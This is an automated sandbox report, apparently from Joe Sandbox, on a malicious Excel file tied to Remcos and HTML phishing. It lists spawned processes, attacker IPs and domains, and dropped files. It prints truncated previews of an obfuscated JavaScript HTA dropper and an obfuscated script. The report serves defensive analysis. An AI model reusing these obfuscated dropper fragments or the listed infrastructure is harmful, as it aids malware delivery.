                                                                                                                                                            Analysis system description:Windows 7 x64 SP1 with Office 2010 SP1 (IE 11, FF52, Chrome 57, Adobe Reader DC 15, Flash 25.0.0.127, Java 8 Update 121, .NET 4.6.2)
                                                                                                                                                            Number of analysed new started processes analysed:33
                                                                                                                                                            Number of new started drivers analysed:0
                                                                                                                                                            Number of existing processes analysed:0
                                                                                                                                                            Number of existing drivers analysed:0
                                                                                                                                                            Number of injected processes analysed:0
                                                                                                                                                            Technologies:
                                                                                                                                                            • HCA enabled
                                                                                                                                                            • EGA enabled
                                                                                                                                                            • GSI enabled (VBA)
                                                                                                                                                            • AMSI enabled
                                                                                                                                                            Analysis Mode:default
                                                                                                                                                            Analysis stop reason:Timeout
                                                                                                                                                            Sample name:Sipari#U015f_listesi.xls
                                                                                                                                                            renamed because original name is a hash value
                                                                                                                                                            Original Sample Name:Sipari_listesi.xls
                                                                                                                                                            Detection:MAL
                                                                                                                                                            Classification:mal100.rans.phis.troj.spyw.expl.evad.winXLS@37/41@18/5
                                                                                                                                                            EGA Information:
                                                                                                                                                            • Successful, ratio: 71.4%
                                                                                                                                                            HCA Information:
                                                                                                                                                            • Successful, ratio: 99%
                                                                                                                                                            • Number of executed functions: 164
                                                                                                                                                            • Number of non-executed functions: 334
                                                                                                                                                            Cookbook Comments:
                                                                                                                                                            • Found application associated with file extension: .xls
                                                                                                                                                            • Changed system and user locale, location and keyboard layout to French - France
                                                                                                                                                            • Found Word or Excel or PowerPoint or XPS Viewer
                                                                                                                                                            • Attach to Office via COM
                                                                                                                                                            • Active ActiveX Object
                                                                                                                                                            • Active ActiveX Object
                                                                                                                                                            • Scroll down
                                                                                                                                                            • Close Viewer

                                                                                                                                                            Warnings

                                                                                                                                                            • Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, conhost.exe
                                                                                                                                                            • Execution Graph export aborted for target mshta.exe, PID 3640 because there are no executed function
                                                                                                                                                            • Execution Graph export aborted for target mshta.exe, PID 3980 because there are no executed function
                                                                                                                                                            • Not all processes where analyzed, report is missing behavior information
                                                                                                                                                            • Report size exceeded maximum capacity and may have missing behavior information.
                                                                                                                                                            • Report size exceeded maximum capacity and may have missing disassembly code.
                                                                                                                                                            • Report size getting too big, too many NtOpenKeyEx calls found.
                                                                                                                                                            • Report size getting too big, too many NtQueryValueKey calls found.
                                                                                                                                                            • Report size getting too big, too many NtReadVirtualMemory calls found.
                                                                                                                                                            • Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
                                                                                                                                                            • Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
                                                                                                                                                            • VT rate limit hit for: Sipari#U015f_listesi.xls

                                                                                                                                                            Simulations

                                                                                                                                                            Behavior and APIs

                                                                                                                                                            TimeTypeDescription
                                                                                                                                                            05:01:24API Interceptor138x Sleep call for process: mshta.exe modified
                                                                                                                                                            05:01:33API Interceptor267x Sleep call for process: powershell.exe modified
                                                                                                                                                            05:01:49API Interceptor18x Sleep call for process: wscript.exe modified
                                                                                                                                                            05:02:15API Interceptor689520x Sleep call for process: CasPol.exe modified

                                                                                                                                                            Joe Sandbox View / Context

                                                                                                                                                            IPs

                                                                                                                                                            MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                                                                                                                            152.231.117.86Swiftcopy.xla.xlsxGet hashmaliciousHTMLPhisherBrowse
                                                                                                                                                              31.13.224.72OC25-11-24.xlsGet hashmaliciousRemcos, HTMLPhisherBrowse
                                                                                                                                                                178.237.33.50Banco Santander Totta _Aconselhamento_Pagamento.imgGet hashmaliciousRemcosBrowse
                                                                                                                                                                • geoplugin.net/json.gp
                                                                                                                                                                remi.exeGet hashmaliciousRemcos, PureLog StealerBrowse
                                                                                                                                                                • geoplugin.net/json.gp
                                                                                                                                                                rem.exeGet hashmaliciousRemcos, PureLog StealerBrowse
                                                                                                                                                                • geoplugin.net/json.gp
                                                                                                                                                                Salary Revision _pdf.vbsGet hashmaliciousRemcos, GuLoaderBrowse
                                                                                                                                                                • geoplugin.net/json.gp
                                                                                                                                                                BUNKER INVOICE #U2018MV.SUN OCEAN.pdf.vbsGet hashmaliciousRemcos, GuLoaderBrowse
                                                                                                                                                                • geoplugin.net/json.gp
                                                                                                                                                                1732748284fd56a2da13edf4ae4b865c44fa6834581d27eb2edbfe3fc50ef131cb95db5639506.dat-decoded.exeGet hashmaliciousRemcosBrowse
                                                                                                                                                                • geoplugin.net/json.gp
                                                                                                                                                                173274744687e09b63aaee64ab5c6d3baa50ebd886d53d9deeef28fce7ab1e19ace8987105169.dat-decoded.exeGet hashmaliciousRemcosBrowse
                                                                                                                                                                • geoplugin.net/json.gp
                                                                                                                                                                UPS_CBIJ90511770131.exeGet hashmaliciousRemcos, PureLog StealerBrowse
                                                                                                                                                                • geoplugin.net/json.gp
                                                                                                                                                                UPSCBIJ99581770131.exeGet hashmaliciousRemcos, PureLog StealerBrowse
                                                                                                                                                                • geoplugin.net/json.gp
                                                                                                                                                                Chase_Bank_Payemnt_Advice.bat.exeGet hashmaliciousRemcos, PureLog StealerBrowse
                                                                                                                                                                • geoplugin.net/json.gp

                                                                                                                                                                Domains

                                                                                                                                                                MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                                                                                                                                newbeggin.duckdns.orgOC25-11-24.xlsGet hashmaliciousRemcos, HTMLPhisherBrowse
                                                                                                                                                                • 31.13.224.72
                                                                                                                                                                ljg.clSwiftcopy.xla.xlsxGet hashmaliciousHTMLPhisherBrowse
                                                                                                                                                                • 152.231.117.86
                                                                                                                                                                Order Summary.xlsGet hashmaliciousUnknownBrowse
                                                                                                                                                                • 152.231.102.107
                                                                                                                                                                Order Summary.xlsGet hashmaliciousUnknownBrowse
                                                                                                                                                                • 152.231.102.107
                                                                                                                                                                Order Summary.xlsGet hashmaliciousUnknownBrowse
                                                                                                                                                                • 152.231.102.107
                                                                                                                                                                Payment Advice.xlsGet hashmaliciousHTMLPhisherBrowse
                                                                                                                                                                • 152.231.102.107
                                                                                                                                                                Pedido No 4500924462.xlsGet hashmaliciousUnknownBrowse
                                                                                                                                                                • 152.231.102.107
                                                                                                                                                                List#U0103 de produse.xlsGet hashmaliciousHTMLPhisherBrowse
                                                                                                                                                                • 152.231.102.107
                                                                                                                                                                Shipping Document.xla.xlsxGet hashmaliciousHTMLPhisherBrowse
                                                                                                                                                                • 152.231.102.107
                                                                                                                                                                geoplugin.netBanco Santander Totta _Aconselhamento_Pagamento.imgGet hashmaliciousRemcosBrowse
                                                                                                                                                                • 178.237.33.50
                                                                                                                                                                remi.exeGet hashmaliciousRemcos, PureLog StealerBrowse
                                                                                                                                                                • 178.237.33.50
                                                                                                                                                                rem.exeGet hashmaliciousRemcos, PureLog StealerBrowse
                                                                                                                                                                • 178.237.33.50
                                                                                                                                                                Salary Revision _pdf.vbsGet hashmaliciousRemcos, GuLoaderBrowse
                                                                                                                                                                • 178.237.33.50
                                                                                                                                                                BUNKER INVOICE #U2018MV.SUN OCEAN.pdf.vbsGet hashmaliciousRemcos, GuLoaderBrowse
                                                                                                                                                                • 178.237.33.50
                                                                                                                                                                1732748284fd56a2da13edf4ae4b865c44fa6834581d27eb2edbfe3fc50ef131cb95db5639506.dat-decoded.exeGet hashmaliciousRemcosBrowse
                                                                                                                                                                • 178.237.33.50
                                                                                                                                                                173274744687e09b63aaee64ab5c6d3baa50ebd886d53d9deeef28fce7ab1e19ace8987105169.dat-decoded.exeGet hashmaliciousRemcosBrowse
                                                                                                                                                                • 178.237.33.50
                                                                                                                                                                UPS_CBIJ90511770131.exeGet hashmaliciousRemcos, PureLog StealerBrowse
                                                                                                                                                                • 178.237.33.50
                                                                                                                                                                UPSCBIJ99581770131.exeGet hashmaliciousRemcos, PureLog StealerBrowse
                                                                                                                                                                • 178.237.33.50
                                                                                                                                                                Chase_Bank_Payemnt_Advice.bat.exeGet hashmaliciousRemcos, PureLog StealerBrowse
                                                                                                                                                                • 178.237.33.50

                                                                                                                                                                ASNs

                                                                                                                                                                MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                                                                                                                                ENTELCHILESACLloligang.arm7.elfGet hashmaliciousMiraiBrowse
                                                                                                                                                                • 186.10.182.106
                                                                                                                                                                Swiftcopy.xla.xlsxGet hashmaliciousHTMLPhisherBrowse
                                                                                                                                                                • 152.231.117.86
                                                                                                                                                                arm.elfGet hashmaliciousMiraiBrowse
                                                                                                                                                                • 164.77.128.117
                                                                                                                                                                Order Summary.xlsGet hashmaliciousUnknownBrowse
                                                                                                                                                                • 152.231.102.107
                                                                                                                                                                Order Summary.xlsGet hashmaliciousUnknownBrowse
                                                                                                                                                                • 152.231.102.107
                                                                                                                                                                Order Summary.xlsGet hashmaliciousUnknownBrowse
                                                                                                                                                                • 152.231.102.107
                                                                                                                                                                Payment Advice.xlsGet hashmaliciousHTMLPhisherBrowse
                                                                                                                                                                • 152.231.102.107
                                                                                                                                                                Pedido No 4500924462.xlsGet hashmaliciousUnknownBrowse
                                                                                                                                                                • 152.231.102.107
                                                                                                                                                                List#U0103 de produse.xlsGet hashmaliciousHTMLPhisherBrowse
                                                                                                                                                                • 152.231.102.107
                                                                                                                                                                jmggnxeedy.elfGet hashmaliciousUnknownBrowse
                                                                                                                                                                • 11.100.2.34
                                                                                                                                                                SARNICA-ASBGEvjm8L1nEb.exeGet hashmaliciousUnknownBrowse
                                                                                                                                                                • 31.13.224.69
                                                                                                                                                                ugisGK1R1q.exeGet hashmaliciousDarkVision RatBrowse
                                                                                                                                                                • 31.13.224.69
                                                                                                                                                                Evjm8L1nEb.exeGet hashmaliciousUnknownBrowse
                                                                                                                                                                • 31.13.224.69
                                                                                                                                                                OC25-11-24.xlsGet hashmaliciousRemcos, HTMLPhisherBrowse
                                                                                                                                                                • 31.13.224.72
                                                                                                                                                                n5QCsKJ0CP.exeGet hashmaliciousRedLineBrowse
                                                                                                                                                                • 31.13.224.34
                                                                                                                                                                ahmbf.ps1Get hashmaliciousUnknownBrowse
                                                                                                                                                                • 31.13.224.69
                                                                                                                                                                Order88983273293729387293828PDF.exeGet hashmaliciousGuLoader, Snake KeyloggerBrowse
                                                                                                                                                                • 93.123.109.168
                                                                                                                                                                Order88983273293729387293828PDF.exeGet hashmaliciousGuLoader, Snake KeyloggerBrowse
                                                                                                                                                                • 93.123.109.168
                                                                                                                                                                Order88983273293729387293828PDF.exeGet hashmaliciousGuLoader, Snake KeyloggerBrowse
                                                                                                                                                                • 93.123.109.168
                                                                                                                                                                Order88983273293729387293828PDF.exeGet hashmaliciousGuLoader, Snake KeyloggerBrowse
                                                                                                                                                                • 93.123.109.168
                                                                                                                                                                AKAMAI-ASN1EUmips.nn.elfGet hashmaliciousMirai, OkiruBrowse
                                                                                                                                                                • 104.80.164.79
                                                                                                                                                                sh4.nn.elfGet hashmaliciousMirai, OkiruBrowse
                                                                                                                                                                • 23.211.108.80
                                                                                                                                                                file.exeGet hashmaliciousUnknownBrowse
                                                                                                                                                                • 23.55.153.106
                                                                                                                                                                No. I20220052.exeGet hashmaliciousFormBookBrowse
                                                                                                                                                                • 2.16.158.186
                                                                                                                                                                file.exeGet hashmaliciousAmadey, Stealc, VidarBrowse
                                                                                                                                                                • 23.44.129.36
                                                                                                                                                                file.exeGet hashmaliciousUnknownBrowse
                                                                                                                                                                • 23.55.153.106
                                                                                                                                                                nabx86.elfGet hashmaliciousUnknownBrowse
                                                                                                                                                                • 104.80.225.102
                                                                                                                                                                file.exeGet hashmaliciousUnknownBrowse
                                                                                                                                                                • 23.55.153.106
                                                                                                                                                                remi.exeGet hashmaliciousRemcos, PureLog StealerBrowse
                                                                                                                                                                • 23.209.72.28
                                                                                                                                                                bin.sh.elfGet hashmaliciousMiraiBrowse
                                                                                                                                                                • 23.7.221.74
                                                                                                                                                                ATOM86-ASATOM86NLBanco Santander Totta _Aconselhamento_Pagamento.imgGet hashmaliciousRemcosBrowse
                                                                                                                                                                • 178.237.33.50
                                                                                                                                                                remi.exeGet hashmaliciousRemcos, PureLog StealerBrowse
                                                                                                                                                                • 178.237.33.50
                                                                                                                                                                rem.exeGet hashmaliciousRemcos, PureLog StealerBrowse
                                                                                                                                                                • 178.237.33.50
                                                                                                                                                                Salary Revision _pdf.vbsGet hashmaliciousRemcos, GuLoaderBrowse
                                                                                                                                                                • 178.237.33.50
                                                                                                                                                                BUNKER INVOICE #U2018MV.SUN OCEAN.pdf.vbsGet hashmaliciousRemcos, GuLoaderBrowse
                                                                                                                                                                • 178.237.33.50
                                                                                                                                                                1732748284fd56a2da13edf4ae4b865c44fa6834581d27eb2edbfe3fc50ef131cb95db5639506.dat-decoded.exeGet hashmaliciousRemcosBrowse
                                                                                                                                                                • 178.237.33.50
                                                                                                                                                                173274744687e09b63aaee64ab5c6d3baa50ebd886d53d9deeef28fce7ab1e19ace8987105169.dat-decoded.exeGet hashmaliciousRemcosBrowse
                                                                                                                                                                • 178.237.33.50
                                                                                                                                                                UPS_CBIJ90511770131.exeGet hashmaliciousRemcos, PureLog StealerBrowse
                                                                                                                                                                • 178.237.33.50
                                                                                                                                                                UPSCBIJ99581770131.exeGet hashmaliciousRemcos, PureLog StealerBrowse
                                                                                                                                                                • 178.237.33.50
                                                                                                                                                                Chase_Bank_Payemnt_Advice.bat.exeGet hashmaliciousRemcos, PureLog StealerBrowse
                                                                                                                                                                • 178.237.33.50

                                                                                                                                                                JA3 Fingerprints

                                                                                                                                                                MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                                                                                                                                05af1f5ca1b87cc9cc9b25185115607dSwiftcopy.xla.xlsxGet hashmaliciousHTMLPhisherBrowse
                                                                                                                                                                • 193.30.119.112
                                                                                                                                                                Pedido No 4500924462.xlsGet hashmaliciousUnknownBrowse
                                                                                                                                                                • 193.30.119.112
                                                                                                                                                                26-11-24_. AVIMAR SHIP CHANDLERS.xlsGet hashmaliciousHTMLPhisherBrowse
                                                                                                                                                                • 193.30.119.112
                                                                                                                                                                List#U0103 de produse.xlsGet hashmaliciousHTMLPhisherBrowse
                                                                                                                                                                • 193.30.119.112
                                                                                                                                                                Document.exeGet hashmaliciousMassLogger RATBrowse
                                                                                                                                                                • 193.30.119.112
                                                                                                                                                                Shipping Document.xla.xlsxGet hashmaliciousHTMLPhisherBrowse
                                                                                                                                                                • 193.30.119.112
                                                                                                                                                                gr5zS9wytq.batGet hashmaliciousUnknownBrowse
                                                                                                                                                                • 193.30.119.112
                                                                                                                                                                FHG538JGH835DG86S.docGet hashmaliciousDarkTortilla, XWormBrowse
                                                                                                                                                                • 193.30.119.112
                                                                                                                                                                New RFQ20241142.xlsGet hashmaliciousFormBook, HTMLPhisherBrowse
                                                                                                                                                                • 193.30.119.112
                                                                                                                                                                QUOTATION.xlsGet hashmaliciousHTMLPhisherBrowse
                                                                                                                                                                • 193.30.119.112
                                                                                                                                                                7dcce5b76c8b17472d024758970a406bSwiftcopy.xla.xlsxGet hashmaliciousHTMLPhisherBrowse
                                                                                                                                                                • 152.231.117.86
                                                                                                                                                                Order Summary.xlsGet hashmaliciousUnknownBrowse
                                                                                                                                                                • 152.231.117.86
                                                                                                                                                                Order Summary.xlsGet hashmaliciousUnknownBrowse
                                                                                                                                                                • 152.231.117.86
                                                                                                                                                                container payment.xlsGet hashmaliciousUnknownBrowse
                                                                                                                                                                • 152.231.117.86
                                                                                                                                                                Payment Advice.xlsGet hashmaliciousHTMLPhisherBrowse
                                                                                                                                                                • 152.231.117.86
                                                                                                                                                                Pedido No 4500924462.xlsGet hashmaliciousUnknownBrowse
                                                                                                                                                                • 152.231.117.86
                                                                                                                                                                26-11-24_. AVIMAR SHIP CHANDLERS.xlsGet hashmaliciousHTMLPhisherBrowse
                                                                                                                                                                • 152.231.117.86
                                                                                                                                                                container payment.xlsGet hashmaliciousUnknownBrowse
                                                                                                                                                                • 152.231.117.86
                                                                                                                                                                List#U0103 de produse.xlsGet hashmaliciousHTMLPhisherBrowse
                                                                                                                                                                • 152.231.117.86
                                                                                                                                                                Shipping Document.xla.xlsxGet hashmaliciousHTMLPhisherBrowse
                                                                                                                                                                • 152.231.117.86

                                                                                                                                                                Dropped Files

                                                                                                                                                                ⊘No context

                                                                                                                                                                Created / dropped Files

                                                                                                                                                                C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

                                                                                                                                                                Download File
                                                                                                                                                                Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):15189
                                                                                                                                                                Entropy (8bit):5.0343247648743
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:384:nWraVoGIpN6KQkj2Lkjh4iUxTnaVjvCnS/OdBmRWDf:nW+V3IpNBQkj2Oh4iUxDaVjvCnS/OdBD
                                                                                                                                                                MD5:7BC3FB6565E144A52C5F44408D5D80DF
                                                                                                                                                                SHA1:C3C443BF9F29EAA84B0A580FD5469F4C5CC57F77
                                                                                                                                                                SHA-256:EF6A75C051D70322EDCD5A89E6398CC00E3D860E87A0C7981310D30837CBA495
                                                                                                                                                                SHA-512:D0A936BAF2277884518EDF4729F88DA74C7BAA5BBB58C1060CE66DE92A23694EA993CA69D8820816C5D28182E9A38EE59DE821EE3A73F0D85DBBC74D406285A5
                                                                                                                                                                Malicious:false
                                                                                                                                                                Preview:PSMODULECACHE.....8.......S...C:\Program Files\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PowerShellGet.psd1........Uninstall-Module........inmo........fimo........Install-Module........New-ScriptFileInfo........Publish-Module........Install-Script........Update-Script........Find-Command........Update-ModuleManifest........Find-DscResource........Save-Module........Save-Script........upmo........Uninstall-Script........Get-InstalledScript........Update-Module........Register-PSRepository........Find-Script........Unregister-PSRepository........pumo........Test-ScriptFileInfo........Update-ScriptFileInfo........Set-PSRepository........Get-PSRepository........Get-InstalledModule........Find-Module........Find-RoleCapability........Publish-Script..........V.7...?...C:\Windows\system32\WindowsPowerShell\v1.0\Modules\ISE\ISE.psd1........Import-IseSnippet........Get-IseSnippet........New-IseSnippet.........._.7...[...C:\Windows\system32\WindowsPowerShell\v1.0\Modules\PSWorkflowUtility\

                                                                                                                                                                C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                                                                                                                                Download File
                                                                                                                                                                Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):64
                                                                                                                                                                Entropy (8bit):0.34726597513537405
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:3:Nlll:Nll
                                                                                                                                                                MD5:446DD1CF97EABA21CF14D03AEBC79F27
                                                                                                                                                                SHA1:36E4CC7367E0C7B40F4A8ACE272941EA46373799
                                                                                                                                                                SHA-256:A7DE5177C68A64BD48B36D49E2853799F4EBCFA8E4761F7CC472F333DC5F65CF
                                                                                                                                                                SHA-512:A6D754709F30B122112AE30E5AB22486393C5021D33DA4D1304C061863D2E1E79E8AEB029CAE61261BB77D0E7BECD53A7B0106D6EA4368B4C302464E3D941CF7
                                                                                                                                                                Malicious:false
                                                                                                                                                                Preview:@...e...........................................................

                                                                                                                                                                C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\createdgoodthingsfor[1].hta

                                                                                                                                                                Download File
                                                                                                                                                                Process:C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
                                                                                                                                                                File Type:HTML document, ASCII text, with very long lines (65536), with no line terminators
                                                                                                                                                                Category:modified
                                                                                                                                                                Size (bytes):159240
                                                                                                                                                                Entropy (8bit):2.1548101619534905
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:96:4owZw9d6yfaREZ4fsULqksrv/DXG6O8pMwpdYJTI9OEZ4fsULqksrv/0CXG6O8pD:4LwWYGjsMZja6LQ
                                                                                                                                                                MD5:1B4C4D16CC7B127483DC8C8ECA5888C4
                                                                                                                                                                SHA1:E3D30566440088FF527FFEE54F664F665DCE52BD
                                                                                                                                                                SHA-256:C1F8ADDE2B5E6DC8E0A4DB24CA51DBF33F02D9CB4087080AE9B078BE11B5294A
                                                                                                                                                                SHA-512:1925FB1B748882E35F79059799B74CDD90D7E018DAE9A225F5075001BB67094560E736E327D5302188A46247965838F2B9779334C047CCAD76761BB49E02AF20
                                                                                                                                                                Malicious:true
                                                                                                                                                                Yara Hits:
                                                                                                                                                                • Rule: JoeSecurity_HtmlPhish_44, Description: Yara detected HtmlPhish_44, Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\createdgoodthingsfor[1].hta, Author: Joe Security
                                                                                                                                                                Preview:<script language=JavaScript>m='%3Cscript%20language%3DJavaScript%3Em%3D%27%253CScript%2520Language%253D%2527Javascript%2527%253E%250A%253C%2521--%2520HTML%2520Encryption%2520provided%2520by%2520tufat.com%2520--%253E%250A%253C%2521--%250Adocument.write%2528unescape%2528%2527%25253C%252521%252544%25254F%252543%252554%252559%252550%252545%252520%252568%252574%25256D%25256C%25253E%25250A%25253C%25256D%252565%252574%252561%252520%252568%252574%252574%252570%25252D%252565%252571%252575%252569%252576%25253D%252522%252558%25252D%252555%252541%25252D%252543%25256F%25256D%252570%252561%252574%252569%252562%25256C%252565%252522%252520%252563%25256F%25256E%252574%252565%25256E%252574%25253D%252522%252549%252545%25253D%252545%25256D%252575%25256C%252561%252574%252565%252549%252545%252538%252522%252520%25253E%25250A%25253C%252568%252574%25256D%25256C%25253E%25250A%25253C%252562%25256F%252564%252579%25253E%25250A%25253C%252573%252563%252572%252569%252550%252574%252520%252574%252559%252550%252565%2525

                                                                                                                                                                C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\createdbestthignswihtentiretimegivenmebestforever[1].tiff

                                                                                                                                                                Download File
                                                                                                                                                                Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                File Type:Unicode text, UTF-16, little-endian text, with very long lines (3293), with CRLF line terminators
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):154100
                                                                                                                                                                Entropy (8bit):3.8123342891350163
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:3072:OSkcclGF+6kr/vfxM1MheSkcclGF+6kr/vfxM1MheSkcclGF+6kr/vfxM1Mh6:FkoF+7fx8MnkoF+7fx8MTkoF+7fx8MI
                                                                                                                                                                MD5:3703614D7A8CEE78ABEC953FCB0971B6
                                                                                                                                                                SHA1:8BF58AFD59612F71F4D767F402F166122A4B3470
                                                                                                                                                                SHA-256:9C4B12F92FBDE8C79F404703FE07576DC3B9A1A30052251E59DBC5D547DFFC93
                                                                                                                                                                SHA-512:25493A97A739389B11014BCB5D0C5A8C0CDC178E62594582C40AB13ACF1654713108C75D9273172F7883DCC19E27FFE9803EA818E0C3EF3546A17D5E6A45BF02
                                                                                                                                                                Malicious:false
                                                                                                                                                                Preview:...... . . . .....U.i.L.Z.L.W.l.G.o.L.W.m.e.e.R. .=. .".v.x.N.P.N.I.W.L.c.Z.K.a.q.W.q.".....A.b.K.a.x.L.G.f.C.u.C.G.i.p.R. .=. .".c.b.G.K.o.U.W.p.i.a.K.W.e.k.P.".....c.A.b.A.G.K.h.d.L.U.c.W.u.L.i. .=. .".e.p.b.O.U.n.e.K.n.C.U.m.N.B.l.".........A.U.L.L.q.A.b.C.f.N.m.p.K.G.l. .=. .".i.f.L.L.Z.s.A.L.R.d.z.z.e.W.m.".....H.z.p.k.d.h.W.A.C.Z.o.Z.q.h.U. .=. .".C.H.e.b.W.R.G.W.v.A.L.t.N.L.q.".....i.n.W.A.a.P.L.d.W.z.i.P.L.R.a. .=. .".L.x.G.W.W.z.T.R.W.P.c.K.G.c.O.".....O.i.i.c.k.O.i.K.S.U.L.k.O.K.b. .=. .".L.s.W.P.a.h.W.L.A.C.h.L.n.l.c.".....f.z.z.H.c.t.x.L.K.k.k.A.L.t.q. .=. .".G.f.R.z.b.U.P.e.N.t.G.O.R.l.L.".....t.i.k.L.c.W.b.L.l.L.b.Z.U.k.W. .=. .".O.U.i.C.i.B.e.f.Z.m.L.W.G.G.i.".....h.U.p.h.j.t.Z.W.i.i.c.k.W.W.p. .=. .".i.h.J.o.G.W.P.Z.U.C.N.W.Z.G.i.".....U.J.u.j.t.R.f.h.N.W.k.i.d.L.j. .=. .".c.G.i.A.o.n.i.Q.b.U.k.W.W.t.c.".....m.L.n.t.n.p.Q.c.c.K.I.L.J.n.W. .=. .".e.U.e.z.k.h.n.o.i.W.o.s.a.L.n.".....O.K.x.p.c.p.W.u.l.k.f.z.I.Z.P. .=. .".U.x.I.G.a.b.h.k.L.L.n.n.t.u.p.".....J.O.m.O.h.l.U.x.

                                                                                                                                                                C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\json[1].json

                                                                                                                                                                Download File
                                                                                                                                                                Process:C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
                                                                                                                                                                File Type:JSON data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):963
                                                                                                                                                                Entropy (8bit):5.01340392779544
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:12:tkluJnd66GkMyGWKyGXPVGArwY307f7aZHI7GZArpv/mOAaNO+ao9W7iN5zzkw7x:qluNdbauKyGX85jvXhNlT3/7AcV9Wro
                                                                                                                                                                MD5:353DFD85F7CEA1AE2618639F555626F7
                                                                                                                                                                SHA1:C36E7929F2173540028FF62C87751E92F54B8F88
                                                                                                                                                                SHA-256:039F79D984650F3758F43BCBDF012BD8D5BAF2EB27523CB08E725D6B84C50C71
                                                                                                                                                                SHA-512:DB7EFA0B6BF72DE65167AB65882BCAA1B6CCFEE7252822CC0C43476D3C08AA3630082A9AEA26582D74AA559A69FA13283321B8924A10A74062DF4F661B8D3980
                                                                                                                                                                Malicious:false
                                                                                                                                                                Preview:{. "geoplugin_request":"8.46.123.228",. "geoplugin_status":200,. "geoplugin_delay":"0ms",. "geoplugin_credit":"Some of the returned data includes GeoLite2 data created by MaxMind, available from <a href='https:\/\/www.maxmind.com'>https:\/\/www.maxmind.com<\/a>.",. "geoplugin_city":"New York",. "geoplugin_region":"New York",. "geoplugin_regionCode":"NY",. "geoplugin_regionName":"New York",. "geoplugin_areaCode":"",. "geoplugin_dmaCode":"501",. "geoplugin_countryCode":"US",. "geoplugin_countryName":"United States",. "geoplugin_inEU":0,. "geoplugin_euVATrate":false,. "geoplugin_continentCode":"NA",. "geoplugin_continentName":"North America",. "geoplugin_latitude":"40.7123",. "geoplugin_longitude":"-74.0068",. "geoplugin_locationAccuracyRadius":"20",. "geoplugin_timezone":"America\/New_York",. "geoplugin_currencyCode":"USD",. "geoplugin_currencySymbol":"$",. "geoplugin_currencySymbol_UTF8":"$",. "geoplugin_currencyConverter":0.}

                                                                                                                                                                C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\25EA2B56.emf

                                                                                                                                                                Download File
                                                                                                                                                                Process:C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
                                                                                                                                                                File Type:Windows Enhanced Metafile (EMF) image data version 0x10000
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):1500652
                                                                                                                                                                Entropy (8bit):0.38359994376437007
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:12:YqZLEoorjllmvtoEEERttoERtt44fzWbx7PkyWa2+12p7p+pNGiYGfMqMj2ENva0:YmLyrZG
                                                                                                                                                                MD5:E099B0811373326BD60BEB4380FC2DCD
                                                                                                                                                                SHA1:8A10955F72FF0A16AB991FE620D460444AE70300
                                                                                                                                                                SHA-256:ECB7507C68931C9EDDED0DA5FB7F7A9A0D4FDA9A22CD24A177083B1EF485F45F
                                                                                                                                                                SHA-512:86C13084C0FACD4FBA0B491E88E2A324BF4098B10D384C9C7DE2D5A06606943294B61DFF12A256285AFDE7F864374BF11064F27F4978365B8E0C7A73228C7EF2
                                                                                                                                                                Malicious:false
                                                                                                                                                                Preview:....l...........Q...H............)...;.. EMF................................8...X....................?...........................................)...;..........R...I...Q...0...........Q...H...................R...I...P...(...x........... ....)...;..(...R...I.......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                                                C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\6412E9D4.emf

                                                                                                                                                                Download File
                                                                                                                                                                Process:C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
                                                                                                                                                                File Type:Windows Enhanced Metafile (EMF) image data version 0x10000
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):330948
                                                                                                                                                                Entropy (8bit):4.975044135667186
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:3072:j0Bd8yCKdQW2222222Igccz3/qSmV1XITSuaZgOTARfMDc1ji:j0Bd8yCKdQRzw4muaZ9TARfMDcFi
                                                                                                                                                                MD5:F9157BC2C7748EC147ACF123E0B02E27
                                                                                                                                                                SHA1:35F6DAC30F90C2B97C9A56C041DB3C7FEC5C4D89
                                                                                                                                                                SHA-256:CCD5744ED8D269CD48305EDFA526AFE15C96A9374B0B4EF049F658C4772775D0
                                                                                                                                                                SHA-512:3DCE24241BD64DC84F363DF2DF70191F6A6D98233A42AD283448A3C31D11095DE00483D6AD42E9F30BFE3FD8B16F64F3020C52A0A28CE634C0457A6C4E2873DE
                                                                                                                                                                Malicious:false
